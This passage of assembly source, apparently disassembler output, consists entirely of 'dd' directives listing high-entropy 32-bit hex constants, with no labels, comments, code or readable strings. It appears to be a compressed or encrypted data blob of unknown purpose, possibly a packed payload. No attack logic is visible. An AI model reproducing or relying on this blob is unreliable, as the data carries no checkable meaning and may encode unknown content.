		dd 24680884h, 148A2B6Dh, 891D07E9h, 2726C9CEh, 3BCABB20h
		dd 591F923Ch, 4256D2F7h, 94B91A5Ah, 0AA3E933Ah,	223B5DC8h
		dd 0E2C14061h, 3402004h, 0A1B9DAF0h, 73EE08h, 0D7F626B7h
		dd 80EE7C0h, 6776C780h
		dd 0F47A4DF7h, 0B6B7208h, 6B3B3C8Bh, 0C3CAB860h, 14AA7564h
		dd 0E8F30105h, 2E290840h, 300C5DEBh, 89525C98h,	41FAE25Ch
		dd 0EC894122h, 78E1A8D4h, 49284E9Bh, 8E226E0Fh,	431EF21Ah
		dd 68474800h, 1FC10146h, 97792D58h, 0D36A048Ah,	6EB9963Dh
		dd 59993373h, 0C39D6105h, 1C94582h, 30FE40B1h, 21494BDEh
		dd 0C7DB9002h, 0E5AE4401h, 0D79C5D58h, 8133F6EDh, 0D06B531h
		dd 0A8F287h, 685250E5h,	0E0145676h, 1BF5A7Ch, 57F28102h
		dd 34600F1Eh, 0E47BD84Fh, 900B5F93h, 4D9F741h, 0DF8D78D7h
		dd 1E16743h, 0A705ADB6h, 0EC09FB37h, 26C15819h,	0CC56D1B8h
		dd 68C9D2C3h, 486866DDh, 5D10C338h, 5CAB42E6h, 61927E86h
		dd 0C74C01FEh, 0DC179F68h, 6AB76943h, 0CF80E8FEh, 8706CF59h
		dd 8D5C36E4h, 6C94E075h, 87A495ABh, 0F12C936Eh,	32296E41h
		dd 55C2D021h, 0C864D428h, 52632CD3h, 8762E783h,	804BC60Ch
		dd 680BBE4h, 5312FD71h,	25055E81h, 5E3FE967h, 70BCDC4h
		dd 0CA91F85Bh, 0C81892Dh, 5E93F131h, 14B49793h,	0F3022FDFh
		dd 0DCBAE9A5h, 61A6153h, 0B5BE6BBDh, 0FD9063C4h, 0A1F2295Dh
		dd 229CD7D0h, 25FB6643h, 9901470Bh, 0E905F87Ah,	339E746Ch
		dd 0D36926BAh, 0C3D302F0h, 1FC1C545h, 558E1355h, 0C2C554F1h
		dd 0E9079158h, 2161356Bh, 9F2641DBh, 0EB4B8141h, 4DA72E46h
		dd 0DB44CB21h, 2C5D080Dh, 0E7225B71h, 487D6B10h, 0F41E2093h
		dd 12B5B25Eh, 955BDD29h, 0CDD55F58h, 477AC77Dh,	0DDE176C5h
		dd 0D0535E32h, 0A3270920h, 310E30C1h, 0EB2C68C8h, 586F4302h
		dd 0C18E12C7h, 10DEC9B7h, 0D742CAD5h, 25693B82h, 93C15105h
		dd 0CB47054Ah, 6D9592E5h, 16421DD1h, 5D522882h,	0A0824D5Ah
		dd 3566DC67h, 2DC56804h, 0C8D03EA5h, 4C90B1E7h,	0F5604919h
		dd 557BBA66h, 0BD3CBBE8h, 0D7A450EFh, 109117Dh,	43C4E9D3h
		dd 1ACFF891h, 0F6345076h, 799382DAh, 0B1023DEAh, 22CEC24Ch
		dd 0C0D8F78Dh, 0F35036Dh, 25AC23Eh, 9088E6EAh, 8B267283h
		dd 0E9E1BB34h, 35253FA0h, 9350C08h, 70B56639h, 34838DA7h
		dd 0E92E9002h, 269C5971h, 8C4D7583h, 6E1A91Dh, 4939B093h
		dd 0C04B14F1h, 2564B1D9h, 50E6036h, 732D34A1h, 0E9807A41h
		dd 4622F721h, 82045258h, 884B543Dh, 0F6255C4Ch,	35429E9h
		dd 0C4096E4Fh, 4B5939A4h, 0EFF56FEh, 4B7DCAD2h,	0C6A458E6h
		dd 68C9808Dh, 1791455Dh, 0C618BEA6h, 113B838h, 504C9446h
		dd 285F0E68h, 6C069283h, 9A28D039h, 505C4C0Ah, 8C935189h
		dd 9884C9DFh, 4661F053h, 73381A1h, 102BAC0h, 4A3C3877h
		dd 0C9EAD19Fh, 879B6E97h, 7B62409h, 400102F7h, 3D8E4FCh
		dd 1A5196C0h, 74EFD631h, 9AFBC88Bh, 288E6813h, 0CCAA3481h
		dd 0ADDEE10h, 1755C0Fh,	8A81CC6h, 58616D96h, 36E3E6C1h
		dd 0C03FF20h, 0FC0E81Fh, 66585609h, 0ACE918A9h,	0D92926C5h
		dd 0F1815B01h, 2D120757h, 0EC87F8DBh, 0CC584828h, 0BDF7592Ch
		dd 0CC0991A7h, 5541AAB2h, 681A1204h, 0F5C38373h, 0E62D21B7h
		dd 89489745h, 0CA011E48h, 1DC58395h, 1DD2C531h,	355F8683h
		dd 0C289Eh, 0E18107F4h,	91053CE6h, 4C7E6833h, 2BFDDCCh
		dd 0A395839Dh, 0E6A5F931h, 3773045Fh, 0EEC102D1h, 0E6126006h
		dd 32C63F2Eh, 0DB49FF4Ch, 5ED3A7Fh, 0F79BE879h,	5C214621h
		dd 330135EDh, 65483214h, 45885C0Dh, 8A1204D0h, 0D9D8015Ah
		dd 48AA219Bh, 510E528Eh, 0A4278C68h, 2E825905h,	80D5A122h
		dd 0EECC7BCEh, 6D2B7h, 0E95AF008h, 3ED2086Eh, 3DF03499h
		dd 0E6D5C4E3h, 0A3FFC008h, 7F071B52h, 391E240Dh, 79CF3551h
		dd 325019E0h, 0AD3B14F7h, 0EF81DA68h, 3260B12h,	8BDF2B0Bh
		dd 2B2BECh, 2BF15CC7h, 4D41F68Ah, 14C84024h, 3E7330EDh
		dd 32AB1297h, 7971C454h, 0F24D549Eh, 1E311370h,	0EFC77E3Ch
		dd 9BEEA98Bh, 1FD342ABh, 394114Dh, 0D828EF2Ch, 95B4A404h
		dd 2174911Ch, 0B2520E21h, 0E9DAF601h, 18E38B6h,	4E672D5Ah
		dd 0E1420663h, 81078F05h, 23A51317h, 823F0160h,	694BB988h
		dd 0D684860h, 0BB6F1E54h, 5BDE66A8h, 78207BB0h,	0C076A22Fh
		dd 933F586h, 13BE843h, 0FBE72182h, 5092DD2h, 330B1Ch, 51341FFFh
		dd 5D2D5A62h, 4BB140ADh, 0F001687Fh, 42070551h,	0BD01F60Dh
		dd 3AC50FEBh, 0EF775D95h, 80E6D003h, 509F4AF6h,	596853C9h
		dd 0E92DA1B2h, 90C097Eh, 0D2020041h, 12B4AB11h,	0F59CE31h
		dd 0A76907A1h, 28738562h, 0C52E30A7h, 425AB90Ah, 0D1A4C821h
		dd 2097E159h, 2881D629h, 68055F68h, 83B15166h, 59B3CBF9h
		dd 530E160Fh, 760CF288h, 0F42D4F28h, 56871C22h,	646B0105h
		dd 30F8010Dh, 4017A0A6h, 13560481h, 53411C01h, 0E2FE056Dh
		dd 76BFC428h, 4F58B452h, 0B70E2EA6h, 4A3ACD0Bh,	38F09ADh
		dd 0B86FB60Bh, 60BCE977h, 600D2461h, 7D02FA1Ah,	691F2935h
		dd 11FA4052h, 0F5767110h, 10E2DAh, 0BE565808h, 0AF7F1F42h
		dd 0D0E64731h, 170D560h, 1665EEF9h, 7D0C8E6Dh, 104E102h
		dd 24405EF3h, 585507D3h, 7F945259h, 6F4CB905h, 0A2B3C212h
		dd 810169F0h, 0E61B60E7h, 0EE20F74Eh, 0B25060C8h, 0E2309CB4h
		dd 8058661Dh, 0EAC0351Ch, 5AD520DFh, 97CD51FEh,	24683A24h
		dd 0C9CF3C4Ch, 2C522B91h, 3368C21Fh, 7514905Ch,	0BEAB4C18h
		dd 227BA113h, 0C46A83E8h, 298CF00h, 39904E72h, 97C5ED54h
		dd 82A03449h, 85B37003h, 3D02EBA9h, 717A0668h, 8802886Dh
		dd 0FC259425h, 83F7586Dh, 14FA7281h, 13C87987h,	0E7884701h
		dd 1FAE9E66h, 0C1CC5656h, 62215C2Bh, 0C217126Bh, 305564CCh
		dd 6CCAE589h, 391A2A35h, 71394AE9h, 0CF010C9Ah,	64995933h
		dd 59E97B6Ch, 5B0E032Bh, 8020B551h, 0E5C0BDEDh,	50C0261h
		dd 0F5ECC5FEh, 0CE8E0B6h, 5DF36859h, 554B25E5h,	0DF640745h
		dd 2CD9344h, 1EED645Ah,	36546805h, 18AA598h, 4F6DC978h
		dd 818DF781h, 5FFE010Fh, 436CBF57h, 9F51129Ah, 9674FF42h
		dd 6519B436h, 6AAD2128h, 0C72901C1h, 0A90965DCh, 0E0320CCBh
		dd 4FF2D29h, 0CA7F19E9h, 10C3412Ah, 99E9CB4Bh, 0C105729Ch
		dd 0F98307E8h, 79478F03h, 3116E3h, 281FC543h, 0E8895E7Bh
		dd 688442B4h, 17A27118h, 50595400h, 406BBD55h, 5D2F5165h
		dd 4099860Eh, 0CC2DA1AEh, 5250267Fh, 705143Fh, 0BD125F25h
		dd 5C12625Ah, 8553DDE9h, 1B2C0A1Fh, 0EE39B1A5h,	184D250Dh
		dd 3F5DE9B5h, 58BB0500h, 0DFC0AA71h, 2440EFCBh,	10F859F7h
		dd 0F22D1E5Eh, 8A7FFF0Dh, 9274D4F0h, 0B54906Eh,	9DDF1330h
		dd 0A22C1945h, 0F8215BE1h, 0BC00BDCh, 6F3E840Fh, 1C774BA2h
		dd 15E55924h, 95636BE9h, 5B540E7Bh, 60772368h, 260F7F0Bh
		dd 2088ACC4h, 0B689C013h, 53FE774Bh, 58049698h,	8903B325h
		dd 245C84D1h, 0FB5090BFh, 1B3B16EBh, 303C8605h,	2012027Eh
		dd 4302297Eh, 49015E08h, 0DF3C8148h, 2201141h, 0A3C0502Ch
		dd 0D6CEA458h, 0E3B765F1h, 5DE90C9Fh, 58F6AC63h, 0D950A5D6h
		dd 0FC4B81B3h, 0CBC015BFh, 742A5EC3h, 4DDFF67Bh, 50025185h
		dd 99B2C2B4h, 9D4BBB61h, 7BBDD106h, 10DDE2E0h, 4B17C1A0h
		dd 0C019B058h, 632AE9D0h, 0BFEEFF43h, 643C2981h, 863BC89Eh
		dd 8BD45914h, 48A6241h,	0E94328D4h, 281C3AC9h, 0F00EC62Ch
		dd 2668904h, 84CE46h, 7E0DD0F7h, 45794403h, 82388505h
		dd 0B92D7808h, 29E98485h, 12D98A7Ch, 2A08342Ch,	22E98602h
		dd 5010A56h
		dd 2CC67623h, 0B4F0D829h, 1DB95Bh, 38785F7Eh, 0C8728950h
		dd 5958C614h, 44E982E0h, 0F1F5666Dh, 10147DDh, 78C1FDEEh
		dd 0AD6607AFh, 26925253h, 0E30368F8h, 223B007h,	0CC7785BFh
		dd 1153DF21h, 0FB4CF700h, 4889919Fh, 796DCF9h, 0B534B381h
		dd 2B3CC303h, 293DA2D0h, 27F70FA0h, 0FF5A763Ah,	80807260h
		dd 3FE35CBh, 7EBC0C3h, 0F3D1D3F6h, 0E9DBD4ABh, 284EAE35h
		dd 375A6FCAh, 4C25C82Ah, 0FBE69216h, 50BB0A17h,	8738BA52h
		dd 0E9058A69h, 30AD8FD9h, 4A5F6856h, 0DD533841h, 0E0555B26h
		dd 0F1F65D45h, 20464E11h, 0FACC202Ch, 485EDD80h, 9F45AC3Ah
		dd 718902E1h, 6ED7255h,	683A6F29h, 8DFEAD51h, 0BA160095h
		dd 3542AEDh, 0D517B938h, 4E02C7ABh, 1AD24D77h, 81425001h
		dd 0A8605A08h, 6976BC59h, 3162A758h, 0CA74E906h, 9C8829D3h
		dd 9EE926BDh, 4E46894Fh, 57A3BA80h, 0D9FB50EDh,	16DF2228h
		dd 68091848h, 5352E25Fh, 657EA86Dh, 0F25A6354h,	7826055Ch
		dd 0E00C1303h, 30E90D22h, 0EA5B7CE5h, 0F758692Bh, 0F53B1003h
		dd 85DCAB51h, 26609262h, 3E56FE52h, 332D9076h, 3128CFD3h
		dd 6336E35h, 0BE885B9Dh, 7BB18E4h, 31D05898h, 0B65E42B5h
		dd 35EEF1C7h, 2BE419D5h, 73836549h, 0A5C58151h,	0C58000BDh
		dd 94EBE0D6h, 7B2D1EBDh, 2FCB1F25h, 17CC10AEh, 95821255h
		dd 87249121h, 4DA2E661h, 454B968h, 58C26029h, 8B68D905h
		dd 81641BA5h, 0A99A91F0h, 1B25B54h, 3076F24Ch, 0E68119F1h
		dd 0CC751EF9h, 8420D65Dh, 99D675E7h, 4D269681h,	545F6F82h
		dd 0F210C93Ch, 1B95226Fh, 78D5CAA8h, 54012CEDh,	8C99272Bh
		dd 9FD3815Ah, 1204373h,	2C2A0EBDh, 7E23CF0Ah, 0E93F9780h
		dd 0A8C0BCF0h, 425DEA89h, 8E224C1h, 0E6B1000Fh,	0D62172ECh
		dd 4A9BFEA0h, 7624F96h,	2616652Eh, 1759037Ch, 0CEE04A3Ch
		dd 933B29AAh, 60EE0148h, 4655C231h, 90A0E80h, 73E97C12h
		dd 0A681DF92h, 0C88411B1h, 5AF50420h, 0E8734147h, 8260FF74h
		dd 1D286D9Ch, 67BDC006h, 4280065Ah, 1E59CA01h, 0E6226E0Eh
		dd 0AC2C03Ch, 0F840B777h, 5D7D09F2h, 0BF70D00Fh, 0EC50294Eh
		dd 603441B4h, 689959ECh, 9E9F14A7h, 12ED2C27h, 0BE368835h
		dd 482D7018h, 0BC267242h, 8449CFE2h, 54520821h,	8B0E2D5Ah
		dd 0D3D46141h, 0A9F872B2h, 5C583458h, 5BB785A0h, 0E91774CAh
		dd 0F81B540Ch, 0E3464303h, 5CE1514Dh, 0C4466C77h, 50A50B12h
		dd 0F1C10860h, 9A768FECh, 2D9A31C5h, 273558Dh, 4D3A445Eh
		dd 0B716D066h, 7FB20948h, 87596F48h, 50641295h,	4094A344h
		dd 0D2A7E8DBh, 39940159h, 30D3AD4Ch, 16C0448Eh,	96020FBBh
		dd 0E3810E49h, 2D0B1CFBh, 43089203h, 1988F3D0h,	0C021BD28h
		dd 996C240Bh, 8D11630Fh, 8E7094C9h, 5ABF0057h, 0B9067625h
		dd 980407AEh, 0E9F93149h, 931F7384h, 0E459D10Fh, 16842958h
		dd 4185FBF0h, 17E632F5h, 0C489C672h, 0D2E54BE0h, 0EFF92210h
		dd 6A699E59h, 229AC202h, 0EBBB43A5h, 0A928DAE9h, 0B2A903FFh
		dd 24D0C2F0h, 3C02B14Ah, 0C583A166h, 4B676160h,	8202247Bh
		dd 717B284Ch, 5EFC86A2h, 43C075D7h, 7CF025C1h, 756B270Fh
		dd 6E47EA68h, 421E2125h, 9A65868Dh, 0D5F71237h,	48120053h
		dd 8943681Bh, 3B09F3A1h, 89BC1C5Fh, 0E265E9E1h,	6301F1E1h
		dd 0ED7FDFA3h, 501A0C50h, 5EB9D1A0h, 8047DE3Ch,	0B2255FF8h
		dd 0EA7BA045h, 842D1849h, 77CC7E6Eh, 0E24A3A2Ch, 0E9410402h
		dd 16FDD030h, 5E93ED80h, 3E4CCC08h, 94A08F16h, 78C9BA8Bh
		dd 4D7E795Ah, 5CDB1C0Ch, 0D500EB94h, 0BB51A81Ah, 0FEFC07B2h
		dd 29B0E917h, 98BC45D1h, 0D110D8F4h, 424A26EAh,	6650327h
		dd 0CAB0018Dh, 0C4094D9Fh, 7048E954h, 0EE44BE88h, 79882E70h
		dd 0E4D6F78Eh, 660C4217h, 0B5F208EAh, 2139314Fh, 0E9AF302Eh
		dd 0F4A8F4FBh, 9D4C6603h, 0C7235C1Eh, 1E6047C7h, 9066CC6Eh
		dd 131694C4h, 7CBEB65Bh, 1ECF5C41h, 0D75F5413h,	6369847Fh
		dd 0C488342h, 19214E0Ch, 5E03CE9Fh, 91762CCAh, 56D25CC2h
		dd 0B9BC8C1Bh, 0F0482828h, 0CE51B276h, 255B9294h, 0D3E8F8B2h
		dd 52E89BEBh, 62016125h, 5D080511h, 0C41C6A09h,	345B4AFAh
		dd 6989821Ah, 3CB0BB00h, 4406605Fh, 28AA508Ch, 0F80B8C90h
		dd 8778F070h, 0DA00E498h, 0AEB2153h, 752B685Dh,	5FB8804Dh
		dd 1338F1Eh, 7C31C35Fh,	0B4DFEBC1h, 6080DFC4h, 4888F1EAh
		dd 70094005h, 3005203Ah, 0F1DF5284h, 1444AD5Eh,	26F2D7E5h
		dd 73BCDA2Dh, 4E31EFCDh, 0C3B8612Ah, 2516058h, 6E271BA5h
		dd 7C482C1h, 7EE468F3h,	0E9128AE2h, 666440EBh, 4053CB81h
		dd 48C30AC3h, 8A68D00Ch, 58779819h, 1680FC1Fh, 816ADF1Ch
		dd 55D7C604h, 50004F2Ah, 317CEB17h, 0AFE9F53Eh,	65981A3Eh
		dd 3CECA7B0h, 5A53C081h, 4E9110EBh, 0C0D0F600h,	0C8FE05E8h
		dd 8B952FF8h, 82B20273h, 0A4A27937h, 0BCB6A04Bh, 0E7687215h
		dd 87727B39h, 84CB8EC3h, 0EE019078h, 61F1E65Dh,	3083185Eh
		dd 32166B3Fh, 1186830Dh, 3ECCD20h, 0E976F15Fh, 5A3B4B6Dh
		dd 9F022CACh, 0B83492BDh, 488710C8h, 0B8B081D1h, 210B317Fh
		dd 2109E922h, 6E7C121h,	92A53E1h, 5187E3h, 0B32FBEh, 409A05A0h
		dd 20F2B8ADh, 43A0CF46h, 3B241141h, 558392Dh, 0A2CE4F3h
		dd 2DF8011Bh, 0B05F1307h, 5D000819h, 0D8F734EAh, 7E413E35h
		dd 250D0116h, 4853095Ah, 2DC143C1h, 0DE805BC0h,	80D0895Ah
		dd 589E578Ah, 0ED2C5161h, 0A1D9C90Fh, 0DD0FE941h, 84682481h
		dd 0E96AF110h, 59F551D5h, 0A2183EFEh, 7FF28008h, 0EE04F69h
		dd 4420B848h, 8D350D4Ah, 10284514h, 3BC200D5h, 0F58175E1h
		dd 880604F9h, 81E8295Fh, 6CF62F10h, 575984A8h, 296883C0h
		dd 89BCB10Bh, 0F0002AB9h, 6C98139h, 983A1D32h, 5817EA05h
		dd 0AF48B152h, 8A667389h, 5CE3139h, 0BEABE9F1h,	0D2DEB4A9h
		dd 3052F15Dh, 740306Dh,	0B539F856h, 0FDEB03A0h,	0C84F45FAh
		dd 287BCC2h, 7749E7E9h,	4705EC29h, 28D05919h, 0B200E4DAh
		dd 0CA06FE12h, 0D4F6E286h, 9CA8FE08h, 9010253Fh, 537DE089h
		dd 81C3422Eh, 7099C4B4h, 0BC23B4F8h, 2E6360B0h,	9B98221Dh
		dd 0F36BB307h, 865C119h, 79CFB601h, 0EA8521B0h,	87CDC3E3h
		dd 1B0D3029h, 24DC148Ah, 121F0B42h, 10725629h, 27824A2Eh
		dd 0E08AC14Eh, 945ED04Ch, 52452D34h, 0CF103D2Ch, 41636802h
		dd 6D793BC8h, 0E5C14D40h, 0DAB0C106h, 2BE2B308h, 1715AF04h
		dd 5EF50106h, 54761B04h, 15945E11h, 543313F0h, 0EED38EEAh
		dd 82606992h, 0A3A00CD9h, 123D6812h, 0E9C527B2h, 2959B0D4h
		dd 0D64AF077h, 0BB53E100h, 1E343CBh, 5248B807h,	433137D4h
		dd 0E9C040F4h, 1B92F30Bh, 3861E20Ah, 0C201ACC9h, 6CD37B85h
		dd 5920C80h, 0CE97C74h,	0F6133CBCh, 4BED79F0h, 2009C91Ah
		dd 1BE0205h, 342BD459h,	0A034842Eh, 14A65812h, 9C25A520h
		dd 81A2702h, 0A0C97062h, 0BD174166h, 0E09B53B5h, 1F195420h
		dd 0C0C0D9F6h, 36B65207h, 5A1EF128h, 0AA96CE30h, 0D9F7C5C0h
		dd 0F817941h, 0D78EB3FDh, 0C1BD34DDh, 2F3B2F44h, 0BB24D65Eh
		dd 41461227h, 2A6259B8h, 0DEBB8204h, 0DB34911Bh, 51C4042Ch
		dd 0FF95CE31h, 2666CB33h, 770113CEh, 68555238h,	917071D1h
		dd 0E5811E5Dh, 35894799h, 603875E9h, 564532F9h,	41946C4Fh
		dd 0DC833682h, 0A803F2Eh, 52ADC27h, 9F7C7233h, 0C60DAFEh
		dd 35D7B91Eh
		dd 290A1615h, 597C004Ch, 8130428Fh, 90F06D0h, 0C011E958h
		dd 4BCA8099h, 0CD278193h, 515B006Ch, 3A6000B9h,	0E1817D1Ch
		dd 42E24B9Ah, 0A299E92Ah, 0B465EFEAh, 9407BDE2h, 0BAF216C9h
		dd 0EAE67622h, 4BE60099h, 0C50141D4h, 882CAF1h,	5F698EE9h
		dd 171DD85Bh, 10998C82h, 756B2B6h, 0F2D49B05h, 5BAEA7BBh
		dd 5FFB82A2h, 119F00ECh, 473BAC8h, 4044FC40h, 68005677h
		dd 79BC7CADh, 9E6815Eh,	3A2067B9h, 0D8C45084h, 0D22D68E7h
		dd 5A95195Fh, 0BE52F620h, 0B56CEBDEh, 4549AB9Ch, 8EEF9627h
		dd 0E65310FBh, 9FD3F71Eh, 8FB18DFh, 460C3597h, 0A415D828h
		dd 5BD9B1Dh, 0F65E5456h, 0CE50D7BBh, 25838843h,	9FF26729h
		dd 0A026CA20h, 122E8E79h, 24296A42h, 8722541h, 4A3E7B59h
		dd 8E50C928h, 9D7C6AA2h, 6E15505Bh, 12296BD8h, 5FFCB016h
		dd 0B1518CA8h, 0C880793Ch, 2FDA386Bh, 8CF30C8h,	411AB746h
		dd 3FDA8161h, 0D619DD36h, 59F2A142h, 13FBEC14h,	0CFFE0AC0h
		dd 72FCC780h, 0C05B0F30h, 0CC6B06E4h, 0ECA0810Fh, 0E9E38810h
		dd 0CA12034Bh, 83A3341h, 57A83BAh, 5F30FDC1h, 79FC86Ah
		dd 0E1A45917h, 81334525h, 0E97DB522h, 9B896166h, 57005350h
		dd 44157E08h, 807A9A9Dh, 0C772FD5Ch, 0D6F7145Ah, 0E915FAC1h
		dd 501E81D9h, 0A0DBA668h, 42C599EFh, 0B32A7925h, 0E2D22D02h
		dd 929882DDh, 515001EDh, 0F29D21B5h, 3459F249h,	5840CB11h
		dd 28900604h, 0AB252C8h, 665AD006h, 4FEC5359h, 0CAF5250Ch
		dd 0C55C29C2h, 0E43E700Bh, 6BD09924h, 0E9427479h, 27897E0Eh
		dd 0AF90274Ch, 0A27175Fh, 0D9739382h, 5B37ECD9h, 716C09B7h
		dd 354AE9FFh, 3891324Ch, 3F36E967h, 0CCC558F1h,	0B3E90E27h
		dd 5CB843AEh, 0F181E701h, 7CDA727Fh, 7D68E0DBh,	2D1A7544h
		dd 86C4D882h, 729A14FAh, 40478F0Ch, 12EF0681h, 6062F16Eh
		dd 6A186866h, 791F4A6h,	150E004Bh, 0BF7D4230h, 0CFEF9B22h
		dd 13E96AC0h, 14B9ABC0h, 5634866h, 803C981h, 0F48CA1E5h
		dd 7B7C0F06h, 26C3CF07h, 0E7607143h, 4C161C2Bh,	200F2B4Fh
		dd 0E9A43257h, 582E847h, 5AD72958h, 518173A2h, 6D3F27E9h
		dd 20C40029h, 89534010h, 0A84892CBh, 4CF16899h,	0C3D3BF11h
		dd 3D1628B1h, 0F10093B7h, 2C7E045Ah, 0ED76FC6Fh, 88010023h
		dd 336851D7h, 9E8C2C52h, 0C152F8DFh, 3BA81805h,	0CF53304Fh
		dd 0F1FECBCFh, 34A34F74h, 9B085A87h, 271BC6E9h,	0BE2B762h
		dd 769B7860h, 11FBA13h,	0E7CC8DB1h, 0E1672C4Ch,	56D9179Bh
		dd 5EA807C2h, 0A12934A5h, 42080518h, 56CCE9F2h,	5DEF83C8h
		dd 5FFD310Fh, 1C009721h, 5A7B62C9h, 71495C61h, 0F2695850h
		dd 2F79585Fh, 1C05AC3Fh, 10CF0122h, 3C4808CFh, 3B4DDD58h
		dd 0E0C8E912h, 0C20FBADFh, 497A1171h, 0EB5587Fh, 28B9EA80h
		dd 1E7904F6h, 0F5C71E1Ah, 0F1955265h, 0D258C7ACh, 0CCD07489h
		dd 8993F999h, 0D7F24DD7h, 88145EEAh, 0DAB02F74h, 497E3E7h
		dd 49599E2Dh, 403CBC53h, 68FBE907h, 66550232h, 0E16EB2BDh
		dd 0BE79E8D8h, 6526A613h, 6818A0F9h, 0C7413827h, 0BE02CC8h
		dd 0FD7911C4h, 4BB3963Ch, 0C3D9E929h, 7BE6F238h, 5C3A7826h
		dd 35E50E6Fh, 0DAF301EFh, 293EFE68h, 0D1A4563Fh, 8142C110h
		dd 578CC253h, 6A8433C6h, 80CF7A40h, 8B8EB3Ah, 158FA0Dh
		dd 8001CD3h, 0D7B040E9h, 0C0BAF364h, 73C36857h,	5F4F1D1Fh
		dd 3D0CC947h, 929833D9h, 0D201BAEBh, 501BA837h,	131616C5h
		dd 664441F6h, 0C1870ABEh, 0B7D90D54h, 9F5F29F4h, 82279314h
		dd 222AB2CDh, 0EC69E1AEh, 0B09758h, 181CE5Ah, 0C6A4443Ah
		dd 545305AFh, 0E28C9E5Eh, 3FF83340h, 0B70E2204h, 5BEB28EAh
		dd 0F561E605h, 5865B22Bh, 4F8B764Ah, 0F2579B0Dh, 85992FDAh
		dd 44E81F09h, 0BE5624DBh, 88F76416h, 809737C8h,	41BC0555h
		dd 4F297A39h, 0AD0CC01Dh, 469ED831h, 0F880EC52h, 0D42E0E83h
		dd 14DE292Ah, 582E08EEh, 64ACB5D6h, 1013FD25h, 54B2DB6h
		dd 0C822F422h, 7700F05Dh, 0CA811246h, 487D351Eh, 3B129B78h
		dd 30D8C859h, 8069E87Ah, 0FB99EE8Dh, 76633DE1h,	8B448769h
		dd 520389B7h, 0AEF729AEh, 6A219F97h, 0A6B8B5B9h, 33ECC083h
		dd 0AC5F009Ah, 0B1A10184h, 51E5002Bh, 136EEC9h,	0B4E9EF3Ah
		dd 0CD809F60h, 3E262B05h, 0E694225Fh, 0B2A7A747h, 5552671Bh
		dd 0A0644C09h, 0CD55C56h, 0ECA3DBF3h, 3E2C0278h, 8A68436h
		dd 509DF61Ch, 8C57FC5Fh, 5A876C85h, 0E5B65221h,	0A91985ECh
		dd 1F1CEB7h, 0EBDE81CEh, 0E9E0A009h, 4B7F92E7h,	15A58A5Bh
		dd 16BDAB68h, 0F94A26E9h, 5A95EBD3h, 0B538589Dh, 0E91368B8h
		dd 937D82F9h, 0E0C31DC1h, 407DF407h, 4181E2E0h,	0B4CB7CD8h
		dd 0CE5AA500h, 13745858h, 516124C6h, 0DC74F797h, 4AF2FE55h
		dd 135EB317h, 64B36F12h, 4515C905h, 0A787F826h,	0A844F760h
		dd 57510A2Bh, 80BE4EE9h, 803F03BEh, 0F00C0926h,	9854055Eh
		dd 5829768h, 434620C6h,	2066DEA1h, 6455A2D8h, 68F86054h
		dd 54194726h, 4E94BBC5h, 74409AAh, 329F5D58h, 0F0345E5Bh
		dd 45BE25E9h, 85C0FE0Bh, 3CC1E4Dh, 0DA585B54h, 905858FDh
		dd 3CB602EAh, 6C54FEE9h, 0C1681463h, 0D2DFA023h, 32BD095Fh
		dd 0FBC368A9h, 5100B98Fh, 58CB2189h, 0E9505204h, 0BA00DA43h
		dd 6E39314Ch, 0C2014Ch,	252F2D05h, 0BD52E966h, 12540809h
		dd 9A2EE978h, 6F28408Ah, 0B53CD190h, 10F7487Eh,	127373Bh
		dd 5842116Ah, 3D5308A7h, 0C36140E6h, 6F32C5FBh,	0D9D334AEh
		dd 4C9AA7AFh, 30819809h, 65D55EE9h, 46EE5342h, 53BF00FCh
		dd 0B8108641h, 5E1D40F0h, 4B185648h, 0CF70AB18h, 841E1750h
		dd 0F7000707h, 8077257Fh, 2055FFBh, 66C030BDh, 0E6069785h
		dd 0EBBED135h, 0F1817B2Ch, 6D5CA944h, 0C7E9AB86h, 0E8959DCAh
		dd 3F4B4C69h, 0F6301B12h, 667D05B9h, 0D467A0Fh,	4CAEC070h
		dd 6E0C1h, 0A6FEFC2Dh, 5679E9FFh, 20ABAB7h, 4B34E8DEh
		dd 0A4B4B904h, 0C0424E6Bh, 0D2F60680h, 4F5CF280h, 0BDE90A9Dh
		dd 5387A9D8h, 1EBF1EB3h, 6AF1BBD3h, 4C0CD942h, 0FD6E4DCAh
		dd 5BDF3104h, 0A2F2C147h, 57046E1Fh, 0CA121179h, 4F0642F9h
		dd 4809AA35h, 204AD264h, 149557AFh, 690E96BCh, 9E9E521h
		dd 1F613A0Eh, 800558B8h, 0BC4E8216h, 386F6B48h,	0A728278h
		dd 0E5580FE9h, 95943DA4h, 9F071C48h, 0B236D060h, 92FECEFAh
		dd 5C21B453h, 41B3957h,	38ADE95Fh, 0C60127CDh, 8773C349h
		dd 27EB900h, 0C83144AFh, 2A3EC5FFh, 716EEF8Dh, 24F2E9E8h
		dd 88B35BC4h, 0A566678Ah, 2108568h, 260BE344h, 1D65DA08h
		dd 0EAC00FF6h, 9FD21A16h, 0D0A57883h, 0BC3DB39h, 0D6C454Ch
		dd 0A241239Dh, 5803C908h, 345BCF64h, 0A35A1086h, 918BDFE2h
		dd 0A2E31B9h, 8D53054Fh, 3214EFC3h, 0B579F27h, 0CA015644h
		dd 0A696A8F2h, 65FA347Eh, 9A69FB8Bh, 5697D853h,	0B0EF73A4h
		dd 16F706E3h, 0C5F3214h, 5635090Ch, 7B7F80Ah, 129610Dh
		dd 0FEBE5FBh, 0CB4C5F08h, 7F0BA812h, 0D05931A6h, 1EE9152Ch
		dd 4879C8BCh, 0CE3F6AEEh, 8A5E3D1Fh, 24B3BBAh, 66F03002h
		dd 68203CD1h, 8F9DC3F8h, 0F468E3E1h, 54C8A446h,	87AA599Ah
		dd 3FF6532Ch, 1C68009h,	12B7E406h, 19E98913h, 93B92140h
		dd 0F4067C14h, 9D2C52BFh, 0F9130421h, 6BDEF945h, 1B21B1F4h
		dd 34631967h, 525CCD12h, 518111B2h, 345A8BE9h, 794B3B03h
		dd 4035D2CCh, 0CD5B8029h
		dd 201E9D80h, 0F4594AEEh, 280B3707h, 524CE9F0h,	928EECFCh
		dd 0DD873E3Bh, 0CF592293h, 535D247Dh, 0BA297C24h, 8AA48169h
		dd 88406776h, 9277E9EEh, 0F439793h, 0B8F42FC3h,	0F554C4B4h
		dd 351A05E3h, 0A47195FEh, 60005E69h, 130AE952h,	0C289ACB3h
		dd 0D262566Fh, 0DE20315Dh, 225B5193h, 4774445Bh, 80770400h
		dd 0E728F5C3h, 9DDCCFF0h, 7CD2C412h, 54C91B96h,	0A2D17AD7h
		dd 0D518A225h, 0B3110940h, 0C1716415h, 8108EF00h, 8A1038C7h
